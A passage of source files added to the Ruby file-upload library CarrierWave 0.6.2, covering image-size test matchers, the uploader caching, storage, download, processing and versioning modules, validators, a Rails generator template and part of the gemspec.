"expected #{@actual.current_path.inspect} not to have an exact size of #{@width} by #{@height}, but it did."
end
def description
"have an exact size of #{@width} by #{@height}"
end
end
def have_dimensions(width, height)
HaveDimensions.new(width, height)
end
class BeNoWiderThan # :nodoc:
def initialize(width)
@width = width
end
def matches?(actual)
@actual = actual
# Satisfy expectation here. Return false or raise an error if it's not met.
image = ImageLoader.load_image(@actual.current_path)
@actual_width = image.width
@actual_width <= @width
end
def failure_message
"expected #{@actual.current_path.inspect} to be no wider than #{@width}, but it was #{@actual_width}."
end
def negative_failure_message
"expected #{@actual.current_path.inspect} not to be wider than #{@width}, but it is."
end
def description
"have a width less than or equal to #{@width}"
end
end
def be_no_wider_than(width)
BeNoWiderThan.new(width)
end
class BeNoTallerThan # :nodoc:
def initialize(height)
@height = height
end
def matches?(actual)
@actual = actual
# Satisfy expectation here. Return false or raise an error if it's not met.
image = ImageLoader.load_image(@actual.current_path)
@actual_height = image.height
@actual_height <= @height
end
def failure_message
"expected #{@actual.current_path.inspect} to be no taller than #{@height}, but it was #{@actual_height}."
end
def negative_failure_message
"expected #{@actual.current_path.inspect} not to be taller than #{@height}, but it is."
end
def description
"have a height less than or equal to #{@height}"
end
end
def be_no_taller_than(height)
BeNoTallerThan.new(height)
end
class ImageLoader # :nodoc:
def self.load_image(filename)
if defined? ::MiniMagick
MiniMagickWrapper.new(filename)
else
unless defined? ::Magick
begin
require 'rmagick'
rescue LoadError
require 'RMagick'
rescue LoadError
puts "WARNING: Failed to require rmagick, image processing may fail!"
end
end
MagickWrapper.new(filename)
end
end
end
class MagickWrapper # :nodoc:
attr_reader :image
def width
image.columns
end
def height
image.rows
end
def initialize(filename)
@image = ::Magick::Image.read(filename).first
end
end
class MiniMagickWrapper # :nodoc:
attr_reader :image
def width
image[:width]
end
def height
image[:height]
end
def initialize(filename)
@image = ::MiniMagick::Image.open(filename)
end
end
end # Matchers
end # Test
end # CarrierWave

View File

@ -0,0 +1,45 @@
# encoding: utf-8
module CarrierWave
##
# See CarrierWave::Uploader::Base
#
module Uploader
##
# An uploader is a class that allows you to easily handle the caching and storage of
# uploaded files. Please refer to the README for configuration options.
#
# Once you have an uploader you can use it in isolation:
#
# my_uploader = MyUploader.new
# my_uploader.cache!(File.open(path_to_file))
# my_uploader.retrieve_from_store!('monkey.png')
#
# Alternatively, you can mount it on an ORM or other persistence layer, with
# +CarrierWave::Mount#mount_uploader+. There are extensions for activerecord and datamapper
# these are *very* simple (they are only a dozen lines of code), so adding your own should
# be trivial.
#
class Base
attr_reader :file
include CarrierWave::Uploader::Callbacks
include CarrierWave::Uploader::Proxy
include CarrierWave::Uploader::Url
include CarrierWave::Uploader::Mountable
include CarrierWave::Uploader::Cache
include CarrierWave::Uploader::Store
include CarrierWave::Uploader::Download
include CarrierWave::Uploader::Remove
include CarrierWave::Uploader::ExtensionWhitelist
include CarrierWave::Uploader::Processing
include CarrierWave::Uploader::Versions
include CarrierWave::Uploader::DefaultUrl
include CarrierWave::Uploader::Configuration
include CarrierWave::Uploader::Serialization
end # Base
end # Uploader
end # CarrierWave

View File

@ -0,0 +1,169 @@
# encoding: utf-8
module CarrierWave
class FormNotMultipart < UploadError
def message
"You tried to assign a String or a Pathname to an uploader, for security reasons, this is not allowed.\n\n If this is a file upload, please check that your upload form is multipart encoded."
end
end
##
# Generates a unique cache id for use in the caching system
#
# === Returns
#
# [String] a cache id in the format YYYYMMDD-HHMM-PID-RND
#
def self.generate_cache_id
Time.now.strftime('%Y%m%d-%H%M') + '-' + Process.pid.to_s + '-' + ("%04d" % rand(9999))
end
module Uploader
module Cache
extend ActiveSupport::Concern
include CarrierWave::Uploader::Callbacks
include CarrierWave::Uploader::Configuration
module ClassMethods
##
# Removes cached files which are older than one day. You could call this method
# from a rake task to clean out old cached files.
#
# You can call this method directly on the module like this:
#
# CarrierWave.clean_cached_files!
#
# === Note
#
# This only works as long as you haven't done anything funky with your cache_dir.
# It's recommended that you keep cache files in one place only.
#
def clean_cached_files!(seconds=60*60*24)
Dir.glob(File.expand_path(File.join(cache_dir, '*'), CarrierWave.root)).each do |dir|
time = dir.scan(/(\d{4})(\d{2})(\d{2})-(\d{2})(\d{2})/).first.map { |t| t.to_i }
time = Time.utc(*time)
if time < (Time.now.utc - seconds)
FileUtils.rm_rf(dir)
end
end
end
end
##
# Returns true if the uploader has been cached
#
# === Returns
#
# [Bool] whether the current file is cached
#
def cached?
@cache_id
end
##
# Caches the remotely stored file
#
# This is useful when about to process images. Most processing solutions
# require the file to be stored on the local filesystem.
#
def cache_stored_file!
sanitized = SanitizedFile.new :tempfile => StringIO.new(file.read),
:filename => File.basename(path), :content_type => file.content_type
cache! sanitized
end
##
# Returns a String which uniquely identifies the currently cached file for later retrieval
#
# === Returns
#
# [String] a cache name, in the format YYYYMMDD-HHMM-PID-RND/filename.txt
#
def cache_name
File.join(cache_id, full_original_filename) if cache_id and original_filename
end
##
# Caches the given file. Calls process! to trigger any process callbacks.
#
# By default, cache!() uses copy_to(), which operates by copying the file
# to the cache, then deleting the original file. If move_to_cache() is
# overriden to return true, then cache!() uses move_to(), which simply
# moves the file to the cache. Useful for large files.
#
# === Parameters
#
# [new_file (File, IOString, Tempfile)] any kind of file object
#
# === Raises
#
# [CarrierWave::FormNotMultipart] if the assigned parameter is a string
#
def cache!(new_file)
new_file = CarrierWave::SanitizedFile.new(new_file)
unless new_file.empty?
raise CarrierWave::FormNotMultipart if new_file.is_path? && ensure_multipart_form
with_callbacks(:cache, new_file) do
self.cache_id = CarrierWave.generate_cache_id unless cache_id
@filename = new_file.filename
self.original_filename = new_file.filename
if move_to_cache
@file = new_file.move_to(cache_path, permissions)
else
@file = new_file.copy_to(cache_path, permissions)
end
end
end
end
##
# Retrieves the file with the given cache_name from the cache.
#
# === Parameters
#
# [cache_name (String)] uniquely identifies a cache file
#
# === Raises
#
# [CarrierWave::InvalidParameter] if the cache_name is incorrectly formatted.
#
def retrieve_from_cache!(cache_name)
with_callbacks(:retrieve_from_cache, cache_name) do
self.cache_id, self.original_filename = cache_name.to_s.split('/', 2)
@filename = original_filename
@file = CarrierWave::SanitizedFile.new(cache_path)
end
end
private
def cache_path
File.expand_path(File.join(cache_dir, cache_name), root)
end
attr_reader :cache_id, :original_filename
# We can override the full_original_filename method in other modules
alias_method :full_original_filename, :original_filename
def cache_id=(cache_id)
raise CarrierWave::InvalidParameter, "invalid cache id" unless cache_id =~ /\A[\d]{8}\-[\d]{4}\-[\d]+\-[\d]{4}\z/
@cache_id = cache_id
end
def original_filename=(filename)
raise CarrierWave::InvalidParameter, "invalid filename" if filename =~ CarrierWave::SanitizedFile.sanitize_regexp
@original_filename = filename
end
end # Cache
end # Uploader
end # CarrierWave

View File

@ -0,0 +1,35 @@
# encoding: utf-8
module CarrierWave
module Uploader
module Callbacks
extend ActiveSupport::Concern
included do
class_attribute :_before_callbacks, :_after_callbacks,
:instance_writer => false
self._before_callbacks = Hash.new []
self._after_callbacks = Hash.new []
end
def with_callbacks(kind, *args)
self.class._before_callbacks[kind].each { |c| send c, *args }
yield
self.class._after_callbacks[kind].each { |c| send c, *args }
end
module ClassMethods
def before(kind, callback)
self._before_callbacks = self._before_callbacks.
merge kind => _before_callbacks[kind] + [callback]
end
def after(kind, callback)
self._after_callbacks = self._after_callbacks.
merge kind => _after_callbacks[kind] + [callback]
end
end # ClassMethods
end # Callbacks
end # Uploader
end # CarrierWave

View File

@ -0,0 +1,136 @@
module CarrierWave
module Uploader
module Configuration
extend ActiveSupport::Concern
included do
class_attribute :_storage, :instance_writer => false
add_config :root
add_config :base_path
add_config :permissions
add_config :storage_engines
add_config :store_dir
add_config :cache_dir
add_config :enable_processing
add_config :ensure_multipart_form
add_config :delete_tmp_file_after_storage
add_config :move_to_cache
add_config :move_to_store
add_config :remove_previously_stored_files_after_update
# fog
add_config :fog_attributes
add_config :fog_credentials
add_config :fog_directory
add_config :fog_host
add_config :fog_public
add_config :fog_authenticated_url_expiration
# Mounting
add_config :ignore_integrity_errors
add_config :ignore_processing_errors
add_config :validate_integrity
add_config :validate_processing
add_config :mount_on
# set default values
reset_config
end
module ClassMethods
##
# Sets the storage engine to be used when storing files with this uploader.
# Can be any class that implements a #store!(CarrierWave::SanitizedFile) and a #retrieve!
# method. See lib/carrierwave/storage/file.rb for an example. Storage engines should
# be added to CarrierWave::Uploader::Base.storage_engines so they can be referred
# to by a symbol, which should be more convenient
#
# If no argument is given, it will simply return the currently used storage engine.
#
# === Parameters
#
# [storage (Symbol, Class)] The storage engine to use for this uploader
#
# === Returns
#
# [Class] the storage engine to be used with this uploader
#
# === Examples
#
# storage :file
# storage CarrierWave::Storage::File
# storage MyCustomStorageEngine
#
def storage(storage = nil)
if storage
self._storage = storage.is_a?(Symbol) ? eval(storage_engines[storage]) : storage
end
_storage
end
alias_method :storage=, :storage
def add_config(name)
class_eval <<-RUBY, __FILE__, __LINE__ + 1
def self.#{name}(value=nil)
@#{name} = value if value
return @#{name} if self.object_id == #{self.object_id} || defined?(@#{name})
name = superclass.#{name}
return nil if name.nil? && !instance_variable_defined?("@#{name}")
@#{name} = name && !name.is_a?(Module) && !name.is_a?(Symbol) && !name.is_a?(Numeric) && !name.is_a?(TrueClass) && !name.is_a?(FalseClass) ? name.dup : name
end
def self.#{name}=(value)
@#{name} = value
end
def #{name}
value = self.class.#{name}
value.instance_of?(Proc) ? value.call : value
end
RUBY
end
def configure
yield self
end
##
# sets configuration back to default
#
def reset_config
configure do |config|
config.permissions = 0644
config.storage_engines = {
:file => "CarrierWave::Storage::File",
:fog => "CarrierWave::Storage::Fog"
}
config.storage = :file
config.fog_attributes = {}
config.fog_credentials = {}
config.fog_public = true
config.fog_authenticated_url_expiration = 600
config.store_dir = 'uploads'
config.cache_dir = 'uploads/tmp'
config.delete_tmp_file_after_storage = true
config.move_to_cache = false
config.move_to_store = false
config.remove_previously_stored_files_after_update = true
config.ignore_integrity_errors = true
config.ignore_processing_errors = true
config.validate_integrity = true
config.validate_processing = true
config.root = lambda { CarrierWave.root }
config.base_path = CarrierWave.base_path
config.enable_processing = true
config.ensure_multipart_form = true
end
end
end
end
end
end

View File

@ -0,0 +1,19 @@
# encoding: utf-8
module CarrierWave
module Uploader
module DefaultUrl
def url(*args)
super || default_url
end
##
# Override this method in your uploader to provide a default url
# in case no file has been cached/stored yet.
#
def default_url; end
end # DefaultPath
end # Uploader
end # CarrierWave

View File

@ -0,0 +1,75 @@
# encoding: utf-8
require 'open-uri'
module CarrierWave
module Uploader
module Download
extend ActiveSupport::Concern
include CarrierWave::Uploader::Callbacks
include CarrierWave::Uploader::Configuration
include CarrierWave::Uploader::Cache
class RemoteFile
def initialize(uri)
@uri = uri
end
def original_filename
File.basename(file.base_uri.path)
end
def respond_to?(*args)
super or file.respond_to?(*args)
end
def http?
@uri.scheme =~ /^https?$/
end
private
def file
if @file.blank?
@file = Kernel.open(@uri.to_s)
@file = @file.is_a?(String) ? StringIO.new(@file) : @file
end
@file
end
def method_missing(*args, &block)
file.send(*args, &block)
end
end
##
# Caches the file by downloading it from the given URL.
#
# === Parameters
#
# [url (String)] The URL where the remote file is stored
#
def download!(uri)
unless uri.blank?
processed_uri = process_uri(uri)
file = RemoteFile.new(processed_uri)
raise CarrierWave::DownloadError, "trying to download a file which is not served over HTTP" unless file.http?
cache!(file)
end
end
##
# Processes the given URL by parsing and escaping it. Public to allow overriding.
#
# === Parameters
#
# [url (String)] The URL where the remote file is stored
#
def process_uri(uri)
URI.parse(URI.escape(URI.unescape(uri)).gsub("[", "%5B").gsub("]", "%5D").gsub("+", "%2B"))
end
end # Download
end # Uploader
end # CarrierWave

View File

@ -0,0 +1,49 @@
# encoding: utf-8
module CarrierWave
module Uploader
module ExtensionWhitelist
extend ActiveSupport::Concern
included do
before :cache, :check_whitelist!
end
##
# Override this method in your uploader to provide a white list of extensions which
# are allowed to be uploaded. Compares the file's extension case insensitive.
# Furthermore, not only strings but Regexp are allowed as well.
#
# When using a Regexp in the white list, `\A` and `\z` are automatically added to
# the Regexp expression, also case insensitive.
#
# === Returns
#
# [NilClass, Array[String,Regexp]] a white list of extensions which are allowed to be uploaded
#
# === Examples
#
# def extension_white_list
# %w(jpg jpeg gif png)
# end
#
# Basically the same, but using a Regexp:
#
# def extension_white_list
# [/jpe?g/, 'gif', 'png']
# end
#
def extension_white_list; end
private
def check_whitelist!(new_file)
extension = new_file.extension.to_s
if extension_white_list and not extension_white_list.detect { |item| extension =~ /\A#{item}\z/i }
raise CarrierWave::IntegrityError, I18n.translate(:"errors.messages.extension_white_list_error", :extension => new_file.extension.inspect, :allowed_types => extension_white_list.inspect)
end
end
end # ExtensionWhitelist
end # Uploader
end # CarrierWave

View File

@ -0,0 +1,39 @@
# encoding: utf-8
module CarrierWave
module Uploader
module Mountable
attr_reader :model, :mounted_as
##
# If a model is given as the first parameter, it will be stored in the uploader, and
# available throught +#model+. Likewise, mounted_as stores the name of the column
# where this instance of the uploader is mounted. These values can then be used inside
# your uploader.
#
# If you do not wish to mount your uploaders with the ORM extensions in -more then you
# can override this method inside your uploader. Just be sure to call +super+
#
# === Parameters
#
# [model (Object)] Any kind of model object
# [mounted_as (Symbol)] The name of the column where this uploader is mounted
#
# === Examples
#
# class MyUploader < CarrierWave::Uploader::Base
#
# def store_dir
# File.join('public', 'files', mounted_as, model.permalink)
# end
# end
#
def initialize(model=nil, mounted_as=nil)
@model = model
@mounted_as = mounted_as
end
end # Mountable
end # Uploader
end # CarrierWave

View File

@ -0,0 +1,92 @@
# encoding: utf-8
module CarrierWave
module Uploader
module Processing
extend ActiveSupport::Concern
include CarrierWave::Uploader::Callbacks
included do
class_attribute :processors, :instance_writer => false
self.processors = []
after :cache, :process!
end
module ClassMethods
##
# Adds a processor callback which applies operations as a file is uploaded.
# The argument may be the name of any method of the uploader, expressed as a symbol,
# or a list of such methods, or a hash where the key is a method and the value is
# an array of arguments to call the method with
#
# === Parameters
#
# args (*Symbol, Hash{Symbol => Array[]})
#
# === Examples
#
# class MyUploader < CarrierWave::Uploader::Base
#
# process :sepiatone, :vignette
# process :scale => [200, 200]
# process :scale => [200, 200], :if => :image?
# process :sepiatone, :if => :image?
#
# def sepiatone
# ...
# end
#
# def vignette
# ...
# end
#
# def scale(height, width)
# ...
# end
#
# def image?
# ...
# end
#
# end
#
def process(*args)
if !args.first.is_a?(Hash) && args.last.is_a?(Hash)
conditions = args.pop
args.map!{ |arg| {arg => []}.merge(conditions) }
end
args.each do |arg|
if arg.is_a?(Hash)
condition = arg.delete(:if)
arg.each do |method, args|
self.processors += [[method, args, condition]]
end
else
self.processors += [[arg, [], nil]]
end
end
end
end # ClassMethods
##
# Apply all process callbacks added through CarrierWave.process
#
def process!(new_file=nil)
if enable_processing
self.class.processors.each do |method, args, condition|
if(condition)
next if !(condition.respond_to?(:call) ? condition.call(self, :args => args, :method => method, :file => new_file) : self.send(condition, new_file))
end
self.send(method, *args)
end
end
end
end # Processing
end # Uploader
end # CarrierWave

View File

@ -0,0 +1,77 @@
# encoding: utf-8
module CarrierWave
module Uploader
module Proxy
##
# === Returns
#
# [Boolean] Whether the uploaded file is blank
#
def blank?
file.blank?
end
##
# === Returns
#
# [String] the path where the file is currently located.
#
def current_path
file.path if file.respond_to?(:path)
end
alias_method :path, :current_path
##
# Returns a string that uniquely identifies the last stored file
#
# === Returns
#
# [String] uniquely identifies a file
#
def identifier
storage.identifier if storage.respond_to?(:identifier)
end
##
# Read the contents of the file
#
# === Returns
#
# [String] contents of the file
#
def read
file.read if file.respond_to?(:read)
end
##
# Fetches the size of the currently stored/cached file
#
# === Returns
#
# [Integer] size of the file
#
def size
file.respond_to?(:size) ? file.size : 0
end
##
# Return the size of the file when asked for its length
#
# === Returns
#
# [Integer] size of the file
#
# === Note
#
# This was added because of the way Rails handles length/size validations in 3.0.6 and above.
#
def length
size
end
end # Proxy
end # Uploader
end # CarrierWave

View File

@ -0,0 +1,23 @@
# encoding: utf-8
module CarrierWave
module Uploader
module Remove
extend ActiveSupport::Concern
include CarrierWave::Uploader::Callbacks
##
# Removes the file and reset it
#
def remove!
with_callbacks(:remove) do
@file.delete if @file
@file = nil
@cache_id = nil
end
end
end # Remove
end # Uploader
end # CarrierWave

View File

@ -0,0 +1,30 @@
# encoding: utf-8
require "active_support/json"
require "active_support/core_ext/hash"
module CarrierWave
module Uploader
module Serialization
extend ActiveSupport::Concern
def serializable_hash
{"url" => url}.merge Hash[versions.map { |name, version| [name, { "url" => version.url }] }]
end
def as_json(options=nil)
Hash[mounted_as || "uploader", serializable_hash]
end
def to_json
ActiveSupport::JSON.encode(as_json)
end
def to_xml(options={})
merged_options = options.merge(:root => mounted_as || "uploader", :type => 'uploader')
serializable_hash.to_xml(merged_options)
end
end
end
end

View File

@ -0,0 +1,111 @@
# encoding: utf-8
module CarrierWave
module Uploader
module Store
extend ActiveSupport::Concern
include CarrierWave::Uploader::Callbacks
include CarrierWave::Uploader::Configuration
include CarrierWave::Uploader::Cache
##
# Override this in your Uploader to change the filename.
#
# Be careful using record ids as filenames. If the filename is stored in the database
# the record id will be nil when the filename is set. Don't use record ids unless you
# understand this limitation.
#
# Do not use the version_name in the filename, as it will prevent versions from being
# loaded correctly.
#
# === Returns
#
# [String] a filename
#
def filename
@filename
end
##
# Calculates the path where the file should be stored. If +for_file+ is given, it will be
# used as the filename, otherwise +CarrierWave::Uploader#filename+ is assumed.
#
# === Parameters
#
# [for_file (String)] name of the file <optional>
#
# === Returns
#
# [String] the store path
#
def store_path(for_file=filename)
File.join([store_dir, full_filename(for_file)].compact)
end
##
# Stores the file by passing it to this Uploader's storage engine.
#
# If new_file is omitted, a previously cached file will be stored.
#
# === Parameters
#
# [new_file (File, IOString, Tempfile)] any kind of file object
#
def store!(new_file=nil)
cache!(new_file) if new_file && ((@cache_id != parent_cache_id) || @cache_id.nil?)
if @file and @cache_id
with_callbacks(:store, new_file) do
new_file = storage.store!(@file)
@file.delete if (delete_tmp_file_after_storage && ! move_to_store)
delete_cache_id
@file = new_file
@cache_id = nil
end
end
end
##
# Deletes a cache id (tmp dir in cache)
#
def delete_cache_id
if @cache_id
path = File.expand_path(File.join(cache_dir, @cache_id), CarrierWave.root)
begin
Dir.rmdir(path)
rescue Errno::ENOENT
# Ignore: path does not exist
rescue Errno::ENOTDIR
# Ignore: path is not a dir
rescue Errno::ENOTEMPTY, Errno::EEXIST
# Ignore: dir is not empty
end
end
end
##
# Retrieves the file from the storage.
#
# === Parameters
#
# [identifier (String)] uniquely identifies the file to retrieve
#
def retrieve_from_store!(identifier)
with_callbacks(:retrieve_from_store, identifier) do
@file = storage.retrieve!(identifier)
end
end
private
def full_filename(for_file)
for_file
end
def storage
@storage ||= self.class.storage.new(self)
end
end # Store
end # Uploader
end # CarrierWave

View File

@ -0,0 +1,32 @@
# encoding: utf-8
module CarrierWave
module Uploader
module Url
extend ActiveSupport::Concern
include CarrierWave::Uploader::Configuration
##
# === Parameters
#
# [Hash] optional, the query params (only AWS)
#
# === Returns
#
# [String] the location where this file is accessible via a url
#
def url(options = {})
if file.respond_to?(:url) and not file.url.blank?
file.method(:url).arity == 0 ? file.url : file.url(options)
elsif current_path
(base_path || "") + File.expand_path(current_path).gsub(File.expand_path(root), '')
end
end
def to_s
url || ''
end
end # Url
end # Uploader
end # CarrierWave

View File

@ -0,0 +1,254 @@
# encoding: utf-8
module CarrierWave
module Uploader
module Versions
extend ActiveSupport::Concern
include CarrierWave::Uploader::Callbacks
included do
class_attribute :versions, :version_names, :instance_reader => false, :instance_writer => false
self.versions = {}
self.version_names = []
attr_accessor :parent_cache_id
after :cache, :assign_parent_cache_id
after :cache, :cache_versions!
after :store, :store_versions!
after :remove, :remove_versions!
after :retrieve_from_cache, :retrieve_versions_from_cache!
after :retrieve_from_store, :retrieve_versions_from_store!
end
module ClassMethods
##
# Adds a new version to this uploader
#
# === Parameters
#
# [name (#to_sym)] name of the version
# [options (Hash)] optional options hash
# [&block (Proc)] a block to eval on this version of the uploader
#
# === Examples
#
# class MyUploader < CarrierWave::Uploader::Base
#
# version :thumb do
# process :scale => [200, 200]
# end
#
# version :preview, :if => :image? do
# process :scale => [200, 200]
# end
#
# end
#
def version(name, options = {}, &block)
name = name.to_sym
unless versions[name]
uploader = Class.new(self)
uploader.versions = {}
# Define the enable_processing method for versions so they get the
# value from the parent class unless explicitly overwritten
uploader.class_eval <<-RUBY, __FILE__, __LINE__ + 1
def self.enable_processing(value=nil)
self.enable_processing = value if value
if !@enable_processing.nil?
@enable_processing
else
superclass.enable_processing
end
end
RUBY
# Add the current version hash to class attribute :versions
current_version = {}
current_version[name] = {
:uploader => uploader,
:options => options
}
self.versions = versions.merge(current_version)
versions[name][:uploader].version_names += [name]
class_eval <<-RUBY
def #{name}
versions[:#{name}]
end
RUBY
# as the processors get the output from the previous processors as their
# input we must not stack the processors here
versions[name][:uploader].processors = versions[name][:uploader].processors.dup
versions[name][:uploader].processors.clear
end
versions[name][:uploader].class_eval(&block) if block
versions[name]
end
def recursively_apply_block_to_versions(&block)
versions.each do |name, version|
version[:uploader].class_eval(&block)
version[:uploader].recursively_apply_block_to_versions(&block)
end
end
end # ClassMethods
##
# Returns a hash mapping the name of each version of the uploader to an instance of it
#
# === Returns
#
# [Hash{Symbol => CarrierWave::Uploader}] a list of uploader instances
#
def versions
return @versions if @versions
@versions = {}
self.class.versions.each do |name, version|
@versions[name] = version[:uploader].new(model, mounted_as)
end
@versions
end
##
# === Returns
#
# [String] the name of this version of the uploader
#
def version_name
self.class.version_names.join('_').to_sym unless self.class.version_names.blank?
end
##
# When given a version name as a parameter, will return the url for that version
# This also works with nested versions.
# When given a query hash as a parameter, will return the url with signature that contains query params
# Query hash only works with AWS (S3 storage).
#
# === Example
#
# my_uploader.url # => /path/to/my/uploader.gif
# my_uploader.url(:thumb) # => /path/to/my/thumb_uploader.gif
# my_uploader.url(:thumb, :small) # => /path/to/my/thumb_small_uploader.gif
# my_uploader.url(:query => {"response-content-disposition" => "attachment"})
# my_uploader.url(:version, :sub_version, :query => {"response-content-disposition" => "attachment"})
#
# === Parameters
#
# [*args (Symbol)] any number of versions
# OR/AND
# [Hash] query params
#
# === Returns
#
# [String] the location where this file is accessible via a url
#
def url(*args)
if (version = args.first) && version.respond_to?(:to_sym)
raise ArgumentError, "Version #{version} doesn't exist!" if versions[version.to_sym].nil?
# recursively proxy to version
versions[version.to_sym].url(*args[1..-1])
elsif args.first
super(args.first)
else
super
end
end
##
# Recreate versions and reprocess them. This can be used to recreate
# versions if their parameters somehow have changed.
#
def recreate_versions!
# Some files could possibly not be stored on the local disk. This
# doesn't play nicely with processing. Make sure that we're only
# processing a cached file
#
# The call to store! will trigger the necessary callbacks to both
# process this version and all sub-versions
cache_stored_file! if !cached?
store!
end
private
def assign_parent_cache_id(file)
active_versions.each do |name, uploader|
uploader.parent_cache_id = @cache_id
end
end
def active_versions
versions.select do |name, uploader|
condition = self.class.versions[name][:options][:if]
if(condition)
if(condition.respond_to?(:call))
condition.call(self, :version => name, :file => file)
else
send(condition, file)
end
else
true
end
end
end
def full_filename(for_file)
[version_name, super(for_file)].compact.join('_')
end
def full_original_filename
[version_name, super].compact.join('_')
end
def cache_versions!(new_file)
# We might have processed the new_file argument after the callbacks were
# initialized, so get the actual file based off of the current state of
# our file
processed_parent = SanitizedFile.new :tempfile => self.file,
:filename => new_file.original_filename
active_versions.each do |name, v|
next if v.cached?
v.send(:cache_id=, cache_id)
# If option :from_version is present, create cache using cached file from
# version indicated
if self.class.versions[name][:options] && self.class.versions[name][:options][:from_version]
# Maybe the reference version has not been cached yet
unless versions[self.class.versions[name][:options][:from_version]].cached?
versions[self.class.versions[name][:options][:from_version]].cache!(processed_parent)
end
processed_version = SanitizedFile.new :tempfile => versions[self.class.versions[name][:options][:from_version]],
:filename => new_file.original_filename
v.cache!(processed_version)
else
v.cache!(processed_parent)
end
end
end
def store_versions!(new_file)
active_versions.each { |name, v| v.store!(new_file) }
end
def remove_versions!
versions.each { |name, v| v.remove! }
end
def retrieve_versions_from_cache!(cache_name)
versions.each { |name, v| v.retrieve_from_cache!(cache_name) }
end
def retrieve_versions_from_store!(identifier)
versions.each { |name, v| v.retrieve_from_store!(identifier) }
end
end # Versions
end # Uploader
end # CarrierWave

View File

@ -0,0 +1,63 @@
# encoding: utf-8
require 'active_model/validator'
require 'active_support/concern'
module CarrierWave
# == Active Model Presence Validator
module Validations
module ActiveModel
extend ActiveSupport::Concern
class ProcessingValidator < ::ActiveModel::EachValidator
def validate_each(record, attribute, value)
if e = record.send("#{attribute}_processing_error")
message = (e.message == e.class.to_s) ? :carrierwave_processing_error : e.message
record.errors.add(attribute, message)
end
end
end
class IntegrityValidator < ::ActiveModel::EachValidator
def validate_each(record, attribute, value)
if e = record.send("#{attribute}_integrity_error")
message = (e.message == e.class.to_s) ? :carrierwave_integrity_error : e.message
record.errors.add(attribute, message)
end
end
end
module HelperMethods
##
# Makes the record invalid if the file couldn't be uploaded due to an integrity error
#
# Accepts the usual parameters for validations in Rails (:if, :unless, etc...)
#
def validates_integrity_of(*attr_names)
validates_with IntegrityValidator, _merge_attributes(attr_names)
end
##
# Makes the record invalid if the file couldn't be processed (assuming the process failed
# with a CarrierWave::ProcessingError)
#
# Accepts the usual parameters for validations in Rails (:if, :unless, etc...)
#
def validates_processing_of(*attr_names)
validates_with ProcessingValidator, _merge_attributes(attr_names)
end
end
included do
extend HelperMethods
include HelperMethods
end
end
end
end
I18n.load_path << File.join(File.dirname(__FILE__), "..", "locale", 'en.yml')

View File

@ -0,0 +1,3 @@
module CarrierWave
VERSION = "0.6.2"
end

View File

@ -0,0 +1,55 @@
# encoding: utf-8
class <%= class_name %>Uploader < CarrierWave::Uploader::Base
# Include RMagick or MiniMagick support:
# include CarrierWave::RMagick
# include CarrierWave::MiniMagick
# Include the Sprockets helpers for Rails 3.1+ asset pipeline compatibility:
# include Sprockets::Helpers::RailsHelper
# include Sprockets::Helpers::IsolatedHelper
# Choose what kind of storage to use for this uploader:
storage :file
# storage :fog
# Override the directory where uploaded files will be stored.
# This is a sensible default for uploaders that are meant to be mounted:
def store_dir
"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}"
end
# Provide a default URL as a default if there hasn't been a file uploaded:
# def default_url
# # For Rails 3.1+ asset pipeline compatibility:
# # asset_path("fallback/" + [version_name, "default.png"].compact.join('_'))
#
# "/images/fallback/" + [version_name, "default.png"].compact.join('_')
# end
# Process files as they are uploaded:
# process :scale => [200, 300]
#
# def scale(width, height)
# # do something
# end
# Create different versions of your uploaded files:
# version :thumb do
# process :scale => [50, 50]
# end
# Add a white list of extensions which are allowed to be uploaded.
# For images you might use something like this:
# def extension_white_list
# %w(jpg jpeg gif png)
# end
# Override the filename of the uploaded files:
# Avoid using model.id or version_name here, see uploader/store.rb for details.
# def filename
# "something.jpg" if original_filename
# end
end

View File

@ -0,0 +1,7 @@
class UploaderGenerator < Rails::Generators::NamedBase
source_root File.expand_path("../templates", __FILE__)
def create_uploader_file
template "uploader.rb", "app/uploaders/#{file_name}_uploader.rb"
end
end

View File

@ -0,0 +1,65 @@
# -*- encoding: utf-8 -*-
Gem::Specification.new do |s|
s.name = "carrierwave"
s.version = "0.6.2"
s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version=
s.authors = ["Jonas Nicklas"]
s.date = "2012-04-12"
s.description = "Upload files in your Ruby applications, map them to a range of ORMs, store them on different backends."
s.email = ["jonas.nicklas@gmail.com"]
s.extra_rdoc_files = ["README.md"]
s.files = ["README.md"]
s.homepage = "https://github.com/jnicklas/carrierwave"
s.rdoc_options = ["--main"]
s.require_paths = ["lib"]
s.rubyforge_project = "carrierwave"
s.rubygems_version = "1.8.15"
s.summary = "Ruby file upload library"
if s.respond_to? :specification_version then
s.specification_version = 3
if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then
s.add_runtime_dependency(%q<activesupport>, [">= 3.2.0"])
s.add_runtime_dependency(%q<activemodel>, [">= 3.2.0"])
s.add_development_dependency(%q<mysql2>, [">= 0"])
s.add_development_dependency(%q<rails>, [">= 3.2.0"])
s.add_development_dependency(%q<cucumber>, ["= 1.1.4"])
s.add_development_dependency(%q<json>, [">= 0"])
s.add_development_dependency(%q<rspec>, ["~> 2.0"])
s.add_development_dependency(%q<sham_rack>, [">= 0"])
s.add_development_dependency(%q<timecop>, [">= 0"])
s.add_development_dependency(%q<fog>, [">= 1.3.1"])
s.add_development_dependency(%q<mini_magick>, [">= 0"])
s.add_development_dependency(%q<rmagick>, [">= 0"])
else
s.add_dependency(%q<activesupport>, [">= 3.2.0"])
s.add_dependency(%q<activemodel>, [">= 3.2.0"])
s.add_dependency(%q<mysql2>, [">= 0"])
s.add_dependency(%q<rails>, [">= 3.2.0"])
s.add_dependency(%q<cucumber>, ["= 1.1.4"])
s.add_dependency(%q<json>, [">= 0"])
s.add_dependency(%q<rspec>, ["~> 2.0"])
s.add_dependency(%q<sham_rack>, [">= 0"])
s.add_dependency(%q<timecop>, [">= 0"])
s.add_dependency(%q<fog>, [">= 1.3.1"])
s.add_dependency(%q<mini_magick>, [">= 0"])
s.add_dependency(%q<rmagick>, [">= 0"])
end
else
s.add_dependency(%q<activesupport>, [">= 3.2.0"])
s.add_dependency(%q<activemodel>, [">= 3.2.0"])
s.add_dependency(%q<mysql2>, [">= 0"])
s.add_dependency(%q<rails>, [">= 3.2.0"])
s.add_dependency(%q<cucumber>, ["= 1.1.4"])
s.add_dependency(%q<json>, [">= 0"])
s.add_dependency(%q<rspec>, ["~> 2.0"])
s.add_dependency(%q<sham_rack>, [">= 0"])
